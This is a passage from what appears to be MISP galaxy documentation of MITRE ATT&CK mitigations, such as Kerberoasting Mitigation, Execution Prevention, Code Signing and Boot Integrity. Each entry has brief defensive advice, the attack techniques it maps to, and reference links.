- mitigates: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 4843. Table References

Links
https://attack.mitre.org/mitigations/M1027

Kerberoasting Mitigation - T1208

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

The tag is: *misp-galaxy:mitre-course-of-action="Kerberoasting Mitigation - T1208"*

View relationships graph

Kerberoasting Mitigation - T1208 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"

Table 4844. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/mitigations/T1208

Data Backup - M1053

Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.

The tag is: *misp-galaxy:mitre-course-of-action="Data Backup - M1053"*

View relationships graph

Data Backup - M1053 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disk Wipe - T1561" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 4845. Table References

Links
https://attack.mitre.org/mitigations/M1053

Masquerading Mitigation - T1036

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Masquerading Mitigation - T1036"*

View relationships graph

Masquerading Mitigation - T1036 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 4846. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1036
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Execution Prevention - M1038

Block execution of code on a system through application control, and/or script blocking.

The tag is: *misp-galaxy:mitre-course-of-action="Execution Prevention - M1038"*

View relationships graph

Execution Prevention - M1038 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="MMC - T1218.014" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 4847. Table References

Links

https://attack.mitre.org/mitigations/M1038

Software Configuration - M1054

Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.

The tag is: *misp-galaxy:mitre-course-of-action="Software Configuration - M1054"*

View relationships graph

Software Configuration - M1054 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"

Table 4848. Table References

Links
https://attack.mitre.org/mitigations/M1054

Code Signing - M1045

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.

The tag is: *misp-galaxy:mitre-course-of-action="Code Signing - M1045"*

View relationships graph

Code Signing - M1045 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

Table 4849. Table References

Links
https://attack.mitre.org/mitigations/M1045

Boot Integrity - M1046

Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.

The tag is: *misp-galaxy:mitre-course-of-action="Boot Integrity - M1046"*

View relationships graph

Boot Integrity - M1046 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1195.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

Table 4850. Table References

Links
https://attack.mitre.org/mitigations/M1046

Scripting Mitigation - T1064

Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: *misp-galaxy:mitre-course-of-action="Scripting Mitigation - T1064"*

View relationships graph

Scripting Mitigation - T1064 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 4851. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1064

https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/

Bootkit Mitigation - T1067

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)

The tag is: *misp-galaxy:mitre-course-of-action="Bootkit Mitigation - T1067"*

View relationships graph

Bootkit Mitigation - T1067 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

Table 4852. Table References

Links
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf
https://attack.mitre.org/mitigations/T1067
https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: *misp-galaxy:mitre-course-of-action="PowerShell Mitigation - T1086"*

View relationships graph

PowerShell Mitigation - T1086 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 4853. Table References

Links
https://attack.mitre.org/mitigations/T1086
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

Timestomp Mitigation - T1099

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Timestomp Mitigation - T1099"*

View relationships graph

Timestomp Mitigation - T1099 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 4854. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1099
https://technet.microsoft.com/en-us/library/ee791851.aspx

Regsvr32 Mitigation - T1117

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-course-of-action="Regsvr32 Mitigation - T1117"*

View relationships graph

Regsvr32 Mitigation - T1117 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"

Table 4855. Table References

Links
https://attack.mitre.org/mitigations/T1117
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

InstallUtil Mitigation - T1118

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="InstallUtil Mitigation - T1118"*

View relationships graph

InstallUtil Mitigation - T1118 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"

Table 4856. Table References

Links
https://attack.mitre.org/mitigations/T1118

CMSTP Mitigation - T1191

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: *misp-galaxy:mitre-course-of-action="CMSTP Mitigation - T1191"*

View relationships graph

